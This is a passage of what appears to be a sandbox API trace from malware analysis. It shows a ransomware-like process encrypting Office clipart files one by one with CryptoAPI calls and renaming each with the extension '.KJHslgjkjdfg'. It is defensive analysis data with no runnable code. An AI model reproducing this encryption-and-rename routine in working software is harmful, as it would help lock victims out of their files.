[0192.856] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10e0, dwBufLen=0x10e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10e0) returned 1 [0192.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.856] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10e0, lpOverlapped=0x0) returned 1 [0192.856] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.856] SetEndOfFile (hFile=0x130) returned 1 [0192.859] GetProcessHeap () returned 0x990000 [0192.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.859] GetProcessHeap () returned 0x990000 [0192.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.kjhslgjkjdfg")) returned 1 [0192.861] CloseHandle (hObject=0x130) returned 1 [0192.861] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0192.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.863] GetProcessHeap () returned 0x990000 [0192.863] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.863] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.863] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.866] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.866] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.866] GetProcessHeap () returned 0x990000 [0192.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.866] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.866] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.866] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.866] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.866] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.866] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.866] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.866] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.866] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.867] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e4, lpOverlapped=0x0) returned 1 [0192.867] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0) returned 1 [0192.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.867] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f0, lpOverlapped=0x0) returned 1 [0192.867] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.867] SetEndOfFile (hFile=0x130) returned 1 [0192.870] GetProcessHeap () returned 0x990000 [0192.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.870] GetProcessHeap () returned 0x990000 [0192.870] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.kjhslgjkjdfg")) returned 1 [0192.871] CloseHandle (hObject=0x130) returned 1 [0192.871] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0192.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.872] GetProcessHeap () returned 0x990000 [0192.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.872] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.874] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.875] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.875] GetProcessHeap () returned 0x990000 [0192.875] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.875] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.875] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.875] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.875] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.875] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.875] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.875] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.876] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.876] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.876] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f38, lpOverlapped=0x0) returned 1 [0192.877] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40) returned 1 [0192.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.877] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f40, lpOverlapped=0x0) returned 1 [0192.877] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.877] SetEndOfFile (hFile=0x130) returned 1 [0192.880] GetProcessHeap () returned 0x990000 [0192.880] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.880] GetProcessHeap () returned 0x990000 [0192.880] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.kjhslgjkjdfg")) returned 1 [0192.882] CloseHandle (hObject=0x130) returned 1 [0192.882] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0192.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.883] GetProcessHeap () returned 0x990000 [0192.883] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.883] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.883] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.886] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.886] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.886] GetProcessHeap () returned 0x990000 [0192.886] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.886] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.886] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.886] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.887] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.887] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.887] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.887] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x290c, lpOverlapped=0x0) returned 1 [0192.888] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2910, dwBufLen=0x2910 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2910) returned 1 [0192.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.888] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2910, lpOverlapped=0x0) returned 1 [0192.888] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.889] SetEndOfFile (hFile=0x130) returned 1 [0192.891] GetProcessHeap () returned 0x990000 [0192.891] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.891] GetProcessHeap () returned 0x990000 [0192.891] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.kjhslgjkjdfg")) returned 1 [0192.893] CloseHandle (hObject=0x130) returned 1 [0192.893] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0192.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.894] GetProcessHeap () returned 0x990000 [0192.894] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.894] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.894] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.896] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.896] GetProcessHeap () returned 0x990000 [0192.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.896] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.896] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.896] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.896] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.897] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.897] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.897] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.897] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb54, lpOverlapped=0x0) returned 1 [0192.897] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60, dwBufLen=0xb60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60) returned 1 [0192.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.897] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb60, lpOverlapped=0x0) returned 1 [0192.897] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.898] SetEndOfFile (hFile=0x130) returned 1 [0192.900] GetProcessHeap () returned 0x990000 [0192.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.900] GetProcessHeap () returned 0x990000 [0192.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.kjhslgjkjdfg")) returned 1 [0192.902] CloseHandle 